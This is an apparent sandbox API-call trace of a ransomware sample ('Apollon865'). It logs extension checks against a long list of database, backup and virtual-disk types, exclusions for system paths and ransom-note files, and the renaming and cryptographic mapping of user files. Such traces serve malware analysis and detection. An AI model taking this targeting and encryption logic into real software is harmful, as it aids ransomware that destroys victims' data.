	[0058.912] lstrcmpiW (lpString1="n.htm", lpString2="fmp12") returned 1
	[0058.912] lstrlenW (lpString="fmpsl") returned 5
	[0058.912] lstrcmpiW (lpString1="n.htm", lpString2="fmpsl") returned 1
	[0058.912] lstrlenW (lpString="fol") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0058.912] lstrlenW (lpString="fp3") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0058.912] lstrlenW (lpString="fp4") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0058.912] lstrlenW (lpString="fp5") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0058.912] lstrlenW (lpString="fp7") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0058.913] lstrlenW (lpString="fpt") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0058.913] lstrlenW (lpString="frm") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0058.913] lstrlenW (lpString="gdb") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0058.913] lstrlenW (lpString="gdb") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0058.913] lstrlenW (lpString="grdb") returned 4
	[0058.913] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0058.913] lstrlenW (lpString="gwi") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0058.913] lstrlenW (lpString="hdb") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0058.913] lstrlenW (lpString="his") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0058.913] lstrlenW (lpString="ib") returned 2
	[0058.913] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0058.913] lstrlenW (lpString="idb") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0058.913] lstrlenW (lpString="ihx") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0058.913] lstrlenW (lpString="itdb") returned 4
	[0058.913] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0058.913] lstrlenW (lpString="itw") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0058.913] lstrlenW (lpString="jet") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0058.913] lstrlenW (lpString="jtx") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0058.913] lstrlenW (lpString="kdb") returned 3
	[0058.913] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0058.913] lstrlenW (lpString="kexi") returned 4
	[0058.913] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0058.914] lstrlenW (lpString="kexic") returned 5
	[0058.914] lstrcmpiW (lpString1="n.htm", lpString2="kexic") returned 1
	[0058.914] lstrlenW (lpString="kexis") returned 5
	[0058.914] lstrcmpiW (lpString1="n.htm", lpString2="kexis") returned 1
	[0058.914] lstrlenW (lpString="lgc") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0058.914] lstrlenW (lpString="lwx") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0058.914] lstrlenW (lpString="maf") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0058.914] lstrlenW (lpString="maq") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0058.914] lstrlenW (lpString="mar") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0058.914] lstrlenW (lpString="marshal") returned 7
	[0058.914] lstrcmpiW (lpString1="den.htm", lpString2="marshal") returned -1
	[0058.914] lstrlenW (lpString="mas") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0058.914] lstrlenW (lpString="mav") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0058.914] lstrlenW (lpString="maw") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0058.914] lstrlenW (lpString="mdbhtml") returned 7
	[0058.914] lstrcmpiW (lpString1="den.htm", lpString2="mdbhtml") returned -1
	[0058.914] lstrlenW (lpString="mdn") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0058.914] lstrlenW (lpString="mdt") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0058.914] lstrlenW (lpString="mfd") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0058.914] lstrlenW (lpString="mpd") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0058.914] lstrlenW (lpString="mrg") returned 3
	[0058.914] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0058.915] lstrlenW (lpString="mud") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0058.915] lstrlenW (lpString="mwb") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0058.915] lstrlenW (lpString="myd") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0058.915] lstrlenW (lpString="ndf") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0058.915] lstrlenW (lpString="nnt") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0058.915] lstrlenW (lpString="nrmlib") returned 6
	[0058.915] lstrcmpiW (lpString1="en.htm", lpString2="nrmlib") returned -1
	[0058.915] lstrlenW (lpString="ns2") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0058.915] lstrlenW (lpString="ns3") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0058.915] lstrlenW (lpString="ns4") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0058.915] lstrlenW (lpString="nsf") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0058.915] lstrlenW (lpString="nv") returned 2
	[0058.915] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0058.915] lstrlenW (lpString="nv2") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0058.915] lstrlenW (lpString="nwdb") returned 4
	[0058.915] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0058.915] lstrlenW (lpString="nyf") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0058.915] lstrlenW (lpString="odb") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0058.915] lstrlenW (lpString="odb") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0058.915] lstrlenW (lpString="oqy") returned 3
	[0058.915] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0058.915] lstrlenW (lpString="ora") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0058.916] lstrlenW (lpString="orx") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0058.916] lstrlenW (lpString="owc") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0058.916] lstrlenW (lpString="p96") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0058.916] lstrlenW (lpString="p97") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0058.916] lstrlenW (lpString="pan") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0058.916] lstrlenW (lpString="pdb") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0058.916] lstrlenW (lpString="pdm") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0058.916] lstrlenW (lpString="pnz") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0058.916] lstrlenW (lpString="qry") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0058.916] lstrlenW (lpString="qvd") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0058.916] lstrlenW (lpString="rbf") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0058.916] lstrlenW (lpString="rctd") returned 4
	[0058.916] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0058.916] lstrlenW (lpString="rod") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0058.916] lstrlenW (lpString="rodx") returned 4
	[0058.916] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0058.916] lstrlenW (lpString="rpd") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0058.916] lstrlenW (lpString="rsd") returned 3
	[0058.916] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0058.916] lstrlenW (lpString="sas7bdat") returned 8
	[0058.916] lstrcmpiW (lpString1="rden.htm", lpString2="sas7bdat") returned -1
	[0058.917] lstrlenW (lpString="sbf") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0058.917] lstrlenW (lpString="scx") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0058.917] lstrlenW (lpString="sdb") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0058.917] lstrlenW (lpString="sdc") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0058.917] lstrlenW (lpString="sdf") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0058.917] lstrlenW (lpString="sis") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0058.917] lstrlenW (lpString="spq") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0058.917] lstrlenW (lpString="te") returned 2
	[0058.917] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0058.917] lstrlenW (lpString="teacher") returned 7
	[0058.917] lstrcmpiW (lpString1="den.htm", lpString2="teacher") returned -1
	[0058.917] lstrlenW (lpString="tmd") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0058.917] lstrlenW (lpString="tps") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0058.917] lstrlenW (lpString="trc") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0058.917] lstrlenW (lpString="trc") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0058.917] lstrlenW (lpString="trm") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0058.917] lstrlenW (lpString="udb") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0058.917] lstrlenW (lpString="udl") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0058.917] lstrlenW (lpString="usr") returned 3
	[0058.917] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0058.918] lstrlenW (lpString="v12") returned 3
	[0058.918] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0058.918] lstrlenW (lpString="vis") returned 3
	[0058.918] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0058.918] lstrlenW (lpString="vpd") returned 3
	[0058.918] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0058.918] lstrlenW (lpString="vvv") returned 3
	[0058.918] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0058.918] lstrlenW (lpString="wdb") returned 3
	[0058.918] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0058.918] lstrlenW (lpString="wmdb") returned 4
	[0058.918] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0058.918] lstrlenW (lpString="wrk") returned 3
	[0058.918] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0058.918] lstrlenW (lpString="xdb") returned 3
	[0058.918] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0058.918] lstrlenW (lpString="xld") returned 3
	[0058.918] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0058.918] lstrlenW (lpString="xmlff") returned 5
	[0058.918] lstrcmpiW (lpString1="n.htm", lpString2="xmlff") returned -1
	[0058.918] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.Apollon865") returned 86
	[0058.918] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.apollon865"), dwFlags=0x1) returned 1
	[0058.919] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0058.920] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=231) returned 1
	[0058.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0058.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0058.920] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0058.921] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0058.921] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.921] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154
	[0058.923] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x120000
	[0058.924] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0058.924] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0058.924] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0058.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0058.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0058.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0058.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.925] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0058.925] CloseHandle (hObject=0x154) returned 1
	[0058.925] CloseHandle (hObject=0x150) returned 1
	[0058.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0058.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0058.927] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2=".") returned 1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="..") returned 1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="windows") returned -1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="bootmgr") returned 1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="temp") returned -1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="pagefile.sys") returned -1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="boot") returned 1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="ids.txt") returned -1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="ntuser.dat") returned -1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="perflogs") returned -1
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2="MSBuild") returned -1
	[0058.927] lstrlenW (lpString="Garden.jpg") returned 10
	[0058.927] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned 75
	[0058.927] lstrcpyW (in: lpString1=0x119e68a, lpString2="Garden.jpg" | out: lpString1="Garden.jpg") returned="Garden.jpg"
	[0058.927] lstrlenW (lpString="Garden.jpg") returned 10
	[0058.927] lstrlenW (lpString="Apollon865") returned 10
	[0058.927] lstrlenW (lpString=".dll") returned 4
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2=".dll") returned 1
	[0058.927] lstrlenW (lpString=".lnk") returned 4
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2=".lnk") returned 1
	[0058.927] lstrlenW (lpString=".ini") returned 4
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2=".ini") returned 1
	[0058.927] lstrlenW (lpString=".sys") returned 4
	[0058.927] lstrcmpiW (lpString1="Garden.jpg", lpString2=".sys") returned 1
	[0058.927] lstrlenW (lpString="Garden.jpg") returned 10
	[0058.927] lstrlenW (lpString="bak") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0058.928] lstrlenW (lpString="ba_") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0058.928] lstrlenW (lpString="dbb") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0058.928] lstrlenW (lpString="vmdk") returned 4
	[0058.928] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0058.928] lstrlenW (lpString="rar") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0058.928] lstrlenW (lpString="zip") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0058.928] lstrlenW (lpString="tgz") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0058.928] lstrlenW (lpString="vbox") returned 4
	[0058.928] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0058.928] lstrlenW (lpString="vdi") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0058.928] lstrlenW (lpString="vhd") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0058.928] lstrlenW (lpString="vhdx") returned 4
	[0058.928] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0058.928] lstrlenW (lpString="avhd") returned 4
	[0058.928] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0058.928] lstrlenW (lpString="db") returned 2
	[0058.928] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0058.928] lstrlenW (lpString="db2") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0058.928] lstrlenW (lpString="db3") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0058.928] lstrlenW (lpString="dbf") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0058.928] lstrlenW (lpString="mdf") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0058.928] lstrlenW (lpString="mdb") returned 3
	[0058.928] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0058.929] lstrlenW (lpString="sql") returned 3
	[0058.929] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0058.929] lstrlenW (lpString="sqlite") returned 6
	[0058.929] lstrcmpiW (lpString1="en.jpg", lpString2="sqlite") returned -1
	[0058.929] lstrlenW (lpString="sqlite3") returned 7
	[0058.929] lstrcmpiW (lpString1="den.jpg", lpString2="sqlite3") returned -1
	[0058.929] lstrlenW (lpString="sqlitedb") returned 8
	[0058.929] lstrcmpiW (lpString1="rden.jpg", lpString2="sqlitedb") returned -1
	[0058.929] lstrlenW (lpString="xml") returned 3
	[0058.929] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0058.929] lstrlenW (lpString="$er") returned 3
	[0058.929] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0058.929] lstrlenW (lpString="4dd") returned 3
	[0058.929] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0058.929] lstrlenW (lpString="4dl") returned 3
	[0058.929] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0058.929] lstrlenW (lpString="^^^") returned 3
	[0058.929] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0058.929] lstrlenW (lpString="abs") returned 3
	[0058.929] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0058.929] lstrlenW (lpString="abx") returned 3
	[0058.929] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0058.929] lstrlenW (lpString="accdb") returned 5
	[0058.929] lstrcmpiW (lpString1="n.jpg", lpString2="accdb") returned 1
	[0058.929] lstrlenW (lpString="accdc") returned 5
	[0058.929] lstrcmpiW (lpString1="n.jpg", lpString2="accdc") returned 1
	[0058.929] lstrlenW (lpString="accde") returned 5
	[0058.929] lstrcmpiW (lpString1="n.jpg", lpString2="accde") returned 1
	[0058.929] lstrlenW (lpString="accdr") returned 5
	[0058.929] lstrcmpiW (lpString1="n.jpg", lpString2="accdr") returned 1
	[0058.929] lstrlenW (lpString="accdt") returned 5
	[0058.929] lstrcmpiW (lpString1="n.jpg", lpString2="accdt") returned 1
	[0058.929] lstrlenW (lpString="accdw") returned 5
	[0058.929] lstrcmpiW (lpString1="n.jpg", lpString2="accdw") returned 1
	[0058.930] lstrlenW (lpString="accft") returned 5
	[0058.930] lstrcmpiW (lpString1="n.jpg", lpString2="accft") returned 1
	[0058.930] lstrlenW (lpString="adb") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0058.930] lstrlenW (lpString="adb") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0058.930] lstrlenW (lpString="ade") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0058.930] lstrlenW (lpString="adf") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0058.930] lstrlenW (lpString="adn") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0058.930] lstrlenW (lpString="adp") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0058.930] lstrlenW (lpString="alf") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0058.930] lstrlenW (lpString="ask") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0058.930] lstrlenW (lpString="btr") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0058.930] lstrlenW (lpString="cat") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0058.930] lstrlenW (lpString="cdb") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0058.930] lstrlenW (lpString="ckp") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0058.930] lstrlenW (lpString="cma") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0058.930] lstrlenW (lpString="cpd") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0058.930] lstrlenW (lpString="dacpac") returned 6
	[0058.930] lstrcmpiW (lpString1="en.jpg", lpString2="dacpac") returned 1
	[0058.930] lstrlenW (lpString="dad") returned 3
	[0058.930] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0058.930] lstrlenW (lpString="dadiagrams") returned 10
	[0058.931] lstrlenW (lpString="daschema") returned 8
	[0058.931] lstrcmpiW (lpString1="rden.jpg", lpString2="daschema") returned 1
	[0058.931] lstrlenW (lpString="db-journal") returned 10
	[0058.931] lstrlenW (lpString="db-shm") returned 6
	[0058.931] lstrcmpiW (lpString1="en.jpg", lpString2="db-shm") returned 1
	[0058.931] lstrlenW (lpString="db-wal") returned 6
	[0058.931] lstrcmpiW (lpString1="en.jpg", lpString2="db-wal") returned 1
	[0058.931] lstrlenW (lpString="dbc") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0058.931] lstrlenW (lpString="dbs") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0058.931] lstrlenW (lpString="dbt") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0058.931] lstrlenW (lpString="dbv") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0058.931] lstrlenW (lpString="dbx") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0058.931] lstrlenW (lpString="dcb") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0058.931] lstrlenW (lpString="dct") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0058.931] lstrlenW (lpString="dcx") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0058.931] lstrlenW (lpString="ddl") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0058.931] lstrlenW (lpString="dlis") returned 4
	[0058.931] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0058.931] lstrlenW (lpString="dp1") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0058.931] lstrlenW (lpString="dqy") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0058.931] lstrlenW (lpString="dsk") returned 3
	[0058.931] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
